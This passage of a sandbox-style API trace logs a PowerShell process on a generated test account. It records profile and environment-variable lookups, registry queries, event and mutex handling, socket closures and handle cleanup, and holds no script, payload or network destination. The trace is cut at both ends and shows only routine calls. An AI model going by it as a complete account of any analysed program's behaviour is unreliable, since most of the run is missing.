lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\WindowsPowerShell\\Microsoft.PowerShell_profile.ps1", lpFilePart=0x0) returned 0x4e [0054.127] GetLastError () returned 0x3 [0054.127] SetErrorMode (uMode=0x1) returned 0x1 [0054.127] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\WindowsPowerShell\\Microsoft.PowerShell_profile.ps1" (normalized: "c:\\users\\kft6utqw\\documents\\windowspowershell\\microsoft.powershell_profile.ps1"), fInfoLevelId=0x0, lpFileInformation=0x27e77c | out: lpFileInformation=0x27e77c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0054.127] GetLastError () returned 0x3 [0054.127] SetErrorMode (uMode=0x1) returned 0x1 [0054.128] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0054.128] GetLastError () returned 0xcb [0054.129] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0054.129] GetLastError () returned 0xcb [0054.131] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0054.131] GetLastError () returned 0xcb [0054.131] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0054.131] GetLastError () returned 0xcb [0054.132] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0054.132] GetLastError () returned 0xcb [0054.137] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0054.138] GetLastError () returned 0xcb [0054.138] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x390 [0054.138] GetLastError () returned 0x0 [0054.138] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x394 [0054.138] GetLastError () returned 0x0 [0054.138] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x398 [0054.138] GetLastError () returned 0x0 [0054.138] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x39c [0054.138] GetLastError () returned 0x0 [0054.138] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3a0 [0054.138] GetLastError () returned 0x0 [0054.138] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x3c0 [0054.138] GetLastError () returned 0x0 [0054.138] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x384 [0054.138] GetLastError () returned 0x0 [0054.138] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x3a8 [0054.138] GetLastError () returned 0x0 [0054.138] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3ac [0054.138] GetLastError () returned 0x0 [0054.138] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x3b0 [0054.138] GetLastError () returned 0x0 [0054.139] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x310 [0054.139] GetLastError () returned 0x0 [0054.139] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x314 [0054.139] GetLastError () returned 0x0 [0054.140] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0054.140] GetLastError () returned 0xcb [0054.142] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0054.142] GetLastError () returned 0xcb [0054.143] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x27e7bc | out: lpMode=0x27e7bc) returned 1 [0054.143] GetLastError () returned 0xcb [0054.145] SetEvent (hEvent=0x39c) returned 1 [0054.145] GetLastError () returned 0xcb [0054.145] SetEvent (hEvent=0x390) returned 1 [0054.145] GetLastError () returned 0xcb [0054.145] SetEvent (hEvent=0x394) returned 1 [0054.146] GetLastError () returned 0xcb [0054.146] SetEvent (hEvent=0x398) returned 1 [0054.146] GetLastError () returned 0xcb [0054.146] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x334 [0054.146] GetLastError () returned 0x0 [0054.146] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0054.146] GetLastError () returned 0xcb [0054.147] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e620 | out: phkResult=0x27e620*=0x344) returned 0x0 [0054.147] RegQueryValueExW (in: hKey=0x344, lpValueName="PipelineMaxStackSizeMB", lpReserved=0x0, lpType=0x27e668, lpData=0x0, lpcbData=0x27e664*=0x0 | out: lpType=0x27e668*=0x0, lpData=0x0, lpcbData=0x27e664*=0x0) returned 0x2 [0058.085] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x518 [0058.085] GetLastError () returned 0x0 [0058.085] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x5c0 [0058.085] GetLastError () returned 0x0 [0058.085] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x5bc [0058.085] GetLastError () returned 0x0 [0058.086] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x584 [0058.086] GetLastError () returned 0x0 [0058.086] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x580 [0058.086] GetLastError () returned 0x0 [0058.086] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x578 [0058.086] GetLastError () returned 0x0 [0058.086] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x588 [0058.086] GetLastError () returned 0x0 [0058.086] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x590 [0058.086] GetLastError () returned 0x0 [0058.086] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x5e8 [0058.086] GetLastError () returned 0x0 [0058.086] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x5a4 [0058.086] GetLastError () returned 0x0 [0058.086] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x5ec [0058.086] GetLastError () returned 0x0 [0058.086] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x5f0 [0058.086] GetLastError () returned 0x0 [0058.086] SetEvent (hEvent=0x584) returned 1 [0058.086] GetLastError () returned 0x0 [0058.086] SetEvent (hEvent=0x518) returned 1 [0058.086] GetLastError () returned 0x0 [0058.086] SetEvent (hEvent=0x5c0) returned 1 [0058.086] GetLastError () returned 0x0 [0058.086] SetEvent (hEvent=0x5bc) returned 1 [0058.086] GetLastError () returned 0x0 [0058.087] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x5f4 [0058.087] GetLastError () returned 0x0 [0058.087] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e654 | out: phkResult=0x27e654*=0x5fc) returned 0x0 [0058.087] RegQueryValueExW (in: hKey=0x5fc, lpValueName="PipelineMaxStackSizeMB", lpReserved=0x0, lpType=0x27e69c, lpData=0x0, lpcbData=0x27e698*=0x0 | out: lpType=0x27e69c*=0x0, lpData=0x0, lpcbData=0x27e698*=0x0) returned 0x2 [0058.174] SetEvent (hEvent=0x580) returned 1 [0058.174] GetLastError () returned 0x0 [0058.174] SetEvent (hEvent=0x578) returned 1 [0058.174] GetLastError () returned 0x0 [0058.174] SetEvent (hEvent=0x588) returned 1 [0058.174] GetLastError () returned 0x0 [0058.195] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0058.195] GetLastError () returned 0xcb [0058.205] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x2d2578, nSize=0x27e730 | out: lpNameBuffer="XABNCPUWKW\\kFT6uTQW", nSize=0x27e730) returned 0x1 [0058.205] GetLastError () returned 0xcb [0058.205] GetUserNameW (in: lpBuffer=0x2d1db8, pcbBuffer=0x27e738 | out: lpBuffer="kFT6uTQW", pcbBuffer=0x27e738) returned 1 [0058.206] ReportEventW (hEventLog=0x4de0004, wType=0x4, wCategory=0x4, dwEventID=0x193, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x2c33224*="Stopped", lpRawData=0x2c330e0) returned 1 [0058.206] GetLastError () returned 0x0 [0058.207] SetConsoleCtrlHandler (HandlerRoutine=0x0, Add=0) returned 1 [0058.207] GetLastError () returned 0x0 [0058.208] CoGetContextToken (in: pToken=0x27f460 | out: pToken=0x27f460) returned 0x0 [0058.208] CObjectContext::QueryInterface () returned 0x0 [0058.208] CObjectContext::GetCurrentThreadType () returned 0x0 [0058.208] Release () returned 0x0 [0058.209] CoGetContextToken (in: pToken=0x27f238 | out: pToken=0x27f238) returned 0x0 [0058.209] CObjectContext::QueryInterface () returned 0x0 [0058.209] CObjectContext::GetCurrentThreadType () returned 0x0 [0058.209] Release () returned 0x0 [0058.214] CoGetContextToken (in: pToken=0x27f238 | out: pToken=0x27f238) returned 0x0 [0058.214] CObjectContext::QueryInterface () returned 0x0 [0058.214] CObjectContext::GetCurrentThreadType () returned 0x0 [0058.214] Release () returned 0x0 [0058.220] CoGetContextToken (in: pToken=0x27f238 | out: pToken=0x27f238) returned 0x0 [0058.220] CObjectContext::QueryInterface () returned 0x0 [0058.220] CObjectContext::GetCurrentThreadType () returned 0x0 [0058.220] Release () returned 0x0 [0058.247] CoGetContextToken (in: pToken=0x27f218 | out: pToken=0x27f218) returned 0x0 [0058.247] CObjectContext::QueryInterface () returned 0x0 [0058.247] CObjectContext::GetCurrentThreadType () returned 0x0 [0058.247] Release () returned 0x0 [0058.248] CoUninitialize () Thread: id = 42 os_tid = 0xa48 Thread: id = 43 os_tid = 0xa4c Thread: id = 44 os_tid = 0xa50 Thread: id = 45 os_tid = 0xa54 Thread: id = 46 os_tid = 0xa58 [0047.438] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0051.693] LocalFree (hMem=0x2fb5b0) returned 0x0 [0051.693] GetLastError () returned 0x0 [0051.693] CloseHandle (hObject=0x334) returned 1 [0051.693] GetLastError () returned 0x0 [0051.693] CloseHandle (hObject=0x13) returned 1 [0051.694] GetLastError () returned 0x0 [0051.694] CloseHandle (hObject=0xf) returned 1 [0051.694] GetLastError () returned 0x0 [0051.694] RegCloseKey (hKey=0x318) returned 0x0 [0051.694] RegCloseKey (hKey=0x314) returned 0x0 [0051.694] RegCloseKey (hKey=0x310) returned 0x0 [0051.694] LocalFree (hMem=0x2fb5d0) returned 0x0 [0051.694] GetLastError () returned 0x0 [0051.694] RegCloseKey (hKey=0x340) returned 0x0 [0052.879] RegCloseKey (hKey=0x3bc) returned 0x0 [0052.879] RegCloseKey (hKey=0x380) returned 0x0 [0052.879] RegCloseKey (hKey=0x37c) returned 0x0 [0052.879] RegCloseKey (hKey=0x378) returned 0x0 [0052.879] RegCloseKey (hKey=0x374) returned 0x0 [0052.879] RegCloseKey (hKey=0x370) returned 0x0 [0052.880] RegCloseKey (hKey=0x36c) returned 0x0 [0052.880] RegCloseKey (hKey=0x368) returned 0x0 [0052.880] RegCloseKey (hKey=0x364) returned 0x0 [0052.880] RegCloseKey (hKey=0x3b8) returned 0x0 [0052.880] RegCloseKey (hKey=0x3b4) returned 0x0 [0052.880] RegCloseKey (hKey=0x35c) returned 0x0 [0052.880] RegCloseKey (hKey=0x358) returned 0x0 [0052.881] RegCloseKey (hKey=0x354) returned 0x0 [0052.881] RegCloseKey (hKey=0x350) returned 0x0 [0052.881] RegCloseKey (hKey=0x34c) returned 0x0 [0052.881] RegCloseKey (hKey=0x348) returned 0x0 [0052.881] RegCloseKey (hKey=0x344) returned 0x0 [0052.881] RegCloseKey (hKey=0x334) returned 0x0 [0052.881] RegCloseKey (hKey=0x314) returned 0x0 [0052.881] RegCloseKey (hKey=0x310) returned 0x0 [0052.882] RegCloseKey (hKey=0x3b0) returned 0x0 [0052.882] RegCloseKey (hKey=0x3ac) returned 0x0 [0052.882] RegCloseKey (hKey=0x3a8) returned 0x0 [0052.882] RegCloseKey (hKey=0x384) returned 0x0 [0052.882] RegCloseKey (hKey=0x3c0) returned 0x0 [0052.882] RegCloseKey (hKey=0x3a0) returned 0x0 [0052.883] RegCloseKey (hKey=0x39c) returned 0x0 [0052.883] RegCloseKey (hKey=0x398) returned 0x0 [0052.883] RegCloseKey (hKey=0x394) returned 0x0 [0052.883] RegCloseKey (hKey=0x390) returned 0x0 [0052.883] RegCloseKey (hKey=0x38c) returned 0x0 [0052.883] RegCloseKey (hKey=0x388) returned 0x0 [0052.883] RegCloseKey (hKey=0x318) returned 0x0 [0052.884] RegCloseKey (hKey=0x340) returned 0x0 [0054.436] RegCloseKey (hKey=0x344) returned 0x0 [0058.210] GetLastError () returned 0x0 [0058.210] GetLastError () returned 0x0 [0058.210] LocalFree (hMem=0x2ceef8) returned 0x0 [0058.210] GetLastError () returned 0x0 [0058.211] GetLastError () returned 0x0 [0058.211] GetLastError () returned 0x0 [0058.211] LocalFree (hMem=0x2cee70) returned 0x0 [0058.211] GetLastError () returned 0x0 [0058.211] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2c33450, cbSid=0x285f478 | out: pSid=0x2c33450*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x285f478) returned 1 [0058.211] GetLastError () returned 0x0 [0058.211] CreateMutexW (lpMutexAttributes=0x2c33560, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x3f8 [0058.211] GetLastError () returned 0x0 [0058.211] WaitForSingleObject (hHandle=0x3f8, dwMilliseconds=0x1f4) returned 0x0 [0058.211] GetLastError () returned 0x0 [0058.211] ReleaseMutex (hMutex=0x3f8) returned 1 [0058.211] GetLastError () returned 0x0 [0058.211] CloseHandle (hObject=0x3f8) returned 1 [0058.211] GetLastError () returned 0x0 [0058.211] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2c3376c, cbSid=0x285f478 | out: pSid=0x2c3376c*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x285f478) returned 1 [0058.211] GetLastError () returned 0x0 [0058.212] CreateMutexW (lpMutexAttributes=0x2c3387c, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x3f8 [0058.212] GetLastError () returned 0x0 [0058.212] WaitForSingleObject (hHandle=0x3f8, dwMilliseconds=0x1f4) returned 0x0 [0058.212] GetLastError () returned 0x0 [0058.212] ReleaseMutex (hMutex=0x3f8) returned 1 [0058.212] GetLastError () returned 0x0 [0058.212] CloseHandle (hObject=0x3f8) returned 1 [0058.212] GetLastError () returned 0x0 [0058.212] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2c33a88, cbSid=0x285f478 | out: pSid=0x2c33a88*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x285f478) returned 1 [0058.212] GetLastError () returned 0x0 [0058.212] CreateMutexW (lpMutexAttributes=0x2c33b98, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x3f8 [0058.212] GetLastError () returned 0x0 [0058.212] WaitForSingleObject (hHandle=0x3f8, dwMilliseconds=0x1f4) returned 0x0 [0058.212] GetLastError () returned 0x0 [0058.213] ReleaseMutex (hMutex=0x3f8) returned 1 [0058.213] GetLastError () returned 0x0 [0058.213] CloseHandle (hObject=0x3f8) returned 1 [0058.213] GetLastError () returned 0x0 [0058.213] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2c33da4, cbSid=0x285f478 | out: pSid=0x2c33da4*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x285f478) returned 1 [0058.213] GetLastError () returned 0x0 [0058.213] CreateMutexW (lpMutexAttributes=0x2c33eb4, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x3f8 [0058.213] GetLastError () returned 0x0 [0058.213] WaitForSingleObject (hHandle=0x3f8, dwMilliseconds=0x1f4) returned 0x0 [0058.213] GetLastError () returned 0x0 [0058.213] ReleaseMutex (hMutex=0x3f8) returned 1 [0058.213] GetLastError () returned 0x0 [0058.213] CloseHandle (hObject=0x3f8) returned 1 [0058.213] GetLastError () returned 0x0 [0058.213] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2c340c0, cbSid=0x285f478 | out: pSid=0x2c340c0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x285f478) returned 1 [0058.213] GetLastError () returned 0x0 [0058.214] CreateMutexW (lpMutexAttributes=0x2c341d0, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x3f8 [0058.214] GetLastError () returned 0x0 [0058.214] WaitForSingleObject (hHandle=0x3f8, dwMilliseconds=0x1f4) returned 0x0 [0058.214] GetLastError () returned 0x0 [0058.214] ReleaseMutex (hMutex=0x3f8) returned 1 [0058.214] GetLastError () returned 0x0 [0058.214] CloseHandle (hObject=0x3f8) returned 1 [0058.214] GetLastError () returned 0x0 [0058.220] DeregisterEventSource (hEventLog=0x4de0004) returned 1 [0058.220] GetLastError () returned 0x0 [0058.223] setsockopt (s=0x4ec, level=65535, optname=128, optval="\x01", optlen=4) returned 0 [0058.223] GetLastError () returned 0x0 [0058.223] closesocket (s=0x4ec) returned 0 [0058.223] GetLastError () returned 0x0 [0058.227] UnmapViewOfFile (lpBaseAddress=0x51d0000) returned 1 [0058.230] GetLastError () returned 0x0 [0058.230] CloseHandle (hObject=0x428) returned 1 [0058.231] GetLastError () returned 0x0 [0058.231] CloseHandle (hObject=0x420) returned 1 [0058.231] GetLastError () returned 0x0 [0058.231] CloseHandle (hObject=0x41c) returned 1 [0058.231] GetLastError () returned 0x0 [0058.231] CloseHandle (hObject=0x3cc) returned 1 [0058.231] GetLastError () returned 0x0 [0058.231] CloseHandle (hObject=0x3c8) returned 1 [0058.231] GetLastError () returned 0x0 [0058.232] CloseHandle (hObject=0x3a4) returned 1 [0058.232] GetLastError () returned 0x0 [0058.232] CloseHandle (hObject=0x3bc) returned 1 [0058.232] GetLastError () returned 0x0 [0058.232] CloseHandle (hObject=0x380) returned 1 [0058.232] GetLastError () returned 0x0 [0058.232] RegCloseKey (hKey=0x5fc) returned 0x0 [0058.233] CloseHandle (hObject=0x5f4) returned 1 [0058.233] GetLastError () returned 0x0 [0058.233] CloseHandle (hObject=0x370) returned 1 [0058.233] GetLastError () returned 0x0 [0058.233] CloseHandle (hObject=0x36c) returned 1 [0058.233] GetLastError () returned 0x0 [0058.233] CloseHandle (hObject=0x368) returned 1 [0058.233] GetLastError () returned 0x0 [0058.233] CloseHandle (hObject=0x364) returned 1 [0058.234] GetLastError () returned 0x0 [0058.234] CloseHandle (hObject=0x3b8) returned 1 [0058.234] GetLastError () returned 0x0 [0058.234] CloseHandle (hObject=0x35c) returned 1 [0058.234] GetLastError () returned 0x0 [0058.234] CloseHandle (hObject=0x3b4) returned 1 [0058.234] GetLastError () returned 0x0 [0058.234] CloseHandle (hObject=0x5f0) returned 1 [0058.234] GetLastError () returned 0x0 [0058.235] CloseHandle (hObject=0x344) returned 1 [0058.235] GetLastError () returned 0x0 [0058.235] CloseHandle (hObject=0x5ec) returned 1 [0058.235] GetLastError () returned 0x0 [0058.235] CloseHandle (hObject=0x5a4) returned 1 [0058.235] GetLastError () returned 0x0 [0058.235] CloseHandle (hObject=0x5e8) returned 1 [0058.235] GetLastError () returned 0x0 [0058.235] setsockopt (s=0x504, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0058.235] GetLastError () returned 0x273a [0058.235] closesocket (s=0x504) returned 0 [0058.236] GetLastError () returned 0x0 [0058.236] CloseHandle (hObject=0x508) returned 1 [0058.236] GetLastError () returned 0x0 [0058.236] setsockopt (s=0x4fc, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0058.236] GetLastError () returned 0x273a [0058.236] closesocket (s=0x4fc) returned 0 [0058.236] GetLastError () returned 0x0 [0058.236] CloseHandle (hObject=0x4f4) returned 1 [0058.236] GetLastError () returned 0x0 [0058.236] CloseHandle (hObject=0x590) returned 1 [0058.236] GetLastError () returned 0x0 [0058.236] CloseHandle (hObject=0x588) returned 1 [0058.237] GetLastError () returned 0x0 [0058.237] CloseHandle (hObject=0x578) returned 1 [0058.237] GetLastError () returned 0x0 [0058.237] CloseHandle (hObject=0x580) returned 1 [0058.237] GetLastError () returned 0x0 [0058.237] CloseHandle (hObject=0x584) returned 1 [0058.237] GetLastError () returned 0x0 [0058.237] CloseHandle (hObject=0x4d8) returned 1 [0058.237] GetLastError () returned 0x0 [0058.237] CloseHandle (hObject=0x4d4) returned 1 [0058.237] GetLastError () returned 0x0 [0058.238] CloseHandle (hObject=0x5bc) returned 1 [0058.238] GetLastError () returned 0x0 [0058.238] CloseHandle (hObject=0x474) returned 1 [0058.238] GetLastError () returned 0x0 [0058.238] CloseHandle (hObject=0x470) returned 1 [0058.238] GetLastError () returned 0x0 [0058.238] CloseHandle (hObject=0x46c) returned 1 [0058.238] GetLastError () returned 0x0 [0058.238] CloseHandle (hObject=0x468) returned 1 [0058.238] GetLastError () returned 0x0 [0058.239] RegCloseKey (hKey=0x464) returned 0x0 [0058.239] GetLastError () returned 0x0 [0058.239] CloseHandle (hObject=0x460) returned 1 [0058.239] GetLastError () returned 0x0 [0058.239] RegCloseKey (hKey=0x45c) returned 0x0 [0058.239] GetLastError () returned 0x0 [0058.239] CloseHandle (hObject=0x458) returned 1 [0058.239] GetLastError () returned 0x0 [0058.239] CloseHandle (hObject=0x334) returned 1 [0058.239] GetLastError () returned 0x0 [0058.240] RegCloseKey (hKey=0x454) returned 0x0 [0058.240] GetLastError () returned 0x0 [0058.240] CloseHandle (hObject=0x314) returned 1 [0058.240] GetLastError () returned 0x0 [0058.240] CloseHandle (hObject=0x310) returned 1 [0058.240] GetLastError () returned 0x0 [0058.240] CloseHandle (hObject=0x3b0) returned 1 [0058.240] GetLastError () returned 0x0 [0058.240] CloseHandle (hObject=0x3ac) returned 1 [0058.240] GetLastError () returned 0x0 [0058.240] CloseHandle (hObject=0x3a8) returned 1 [0058.240] GetLastError () returned 0x0 [0058.240] CloseHandle (hObject=0x384) returned 1 [0058.240] GetLastError () returned 0x0 [0058.241] CloseHandle (hObject=0x3c0) returned 1 [0058.241] GetLastError () returned 0x0 [0058.241] CloseHandle (hObject=0x3a0) returned 1 [0058.241] GetLastError () returned 0x0 [0058.241] CloseHandle (hObject=0x39c) returned 1 [0058.241] GetLastError () returned 0x0 [0058.241] CloseHandle (hObject=0x398) returned 1 [0058.241] GetLastError () returned 0x0 [0058.241] CloseHandle (hObject=0x394) returned 1 [0058.241] GetLastError () returned 0x0 [0058.241] CloseHandle (hObject=0x390) returned 1 [0058.241] GetLastError () returned 0x0 [0058.241] RegCloseKey (hKey=0x450) returned 0x0 [0058.242] GetLastError () returned 0x0 [0058.242] CloseHandle (hObject=0x438) returned 1 [0058.242] GetLastError () returned 0x0 [0058.242] setsockopt (s=0x430, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0058.242] GetLastError () returned 0x273a [0058.242] closesocket (s=0x430) returned 0 [0058.242] GetLastError () returned 0x0 [0058.242] CloseHandle (hObject=0x434) returned 1 [0058.242] GetLastError () returned 0x0 [0058.243] setsockopt (s=0x424, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0058.243] GetLastError () returned 0x273a [0058.243] closesocket (s=0x424) returned 0 [0058.243] GetLastError () returned 0x0 [0058.243] CloseHandle (hObject=0x42c) returned 1 [0058.243] GetLastError () returned 0x0 [0058.243] CloseHandle (hObject=0x5c0) returned 1 [0058.243] GetLastError () returned 0x0 [0058.243] CloseHandle (hObject=0x518) returned 1 [0058.243] GetLastError () returned 0x0 [0058.243] CloseHandle (hObject=0x5dc) returned 1 [0058.243] GetLastError () returned 0x0 [0058.244] CloseHandle (hObject=0x33c) returned 1 [0058.244] GetLastError () returned 0x0 [0058.244] RegCloseKey (hKey=0x80000004) returned 0x0 [0058.244] CloseHandle (hObject=0x2f8) returned 1 [0058.244] GetLastError () returned 0x0 [0058.244] CloseHandle (hObject=0x32c) returned 1 [0058.244] GetLastError () returned 0x0 [0058.244] UnmapViewOfFile (lpBaseAddress=0x2970000) returned 1 Thread: id = 47 os_tid = 0x0 Thread: id = 48 os_tid = 0xa5c [0054.150] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0054.175] SetThreadUILanguage (LangId=0x0) returned 0x409 [0054.179] VirtualQuery (in: lpAddress=0x5c7e110, lpBuffer=0x5c7f110, dwLength=0x1c | out: lpBuffer=0x5c7f110*(BaseAddress=0x5c7e000, AllocationBase=0x52f0000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0054.192] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3521c8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0054.192] GetLastError () returned 0xcb [0054.194] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3521c8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0054.194] GetLastError () returned 0xcb [0054.195] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3521c8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0054.195] GetLastError () returned 0xcb [0054.204] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3521c8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0054.204] GetLastError () returned 0xcb [0054.206] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3521c8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0054.206] GetLastError () returned 0xcb [0054.207] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3521c8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0054.207] GetLastError () returned 0xcb [0054.219] VirtualQuery (in: lpAddress=0x5c7e22c, lpBuffer=0x5c7f22c, dwLength=0x1c | out: lpBuffer=0x5c7f22c*(BaseAddress=0x5c7e000, AllocationBase=0x52f0000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0054.219] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3521c8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0054.219] GetLastError () returned 0xcb [0054.221] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3521c8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0054.221] GetLastError () returned 0xcb [0054.221] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3521c8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0054.221] GetLastError () returned 0xcb [0054.238] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3521c8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0054.238] GetLastError () returned 0xcb [0054.250] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3521c8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0054.250] GetLastError () returned 0xcb [0054.310] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3521c8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0054.310] GetLastError () returned 0xcb [0054.311] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3521c8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0054.311] GetLastError () returned 0xcb [0054.311] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3521c8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0054.311] GetLastError () returned 0xcb [0054.313] 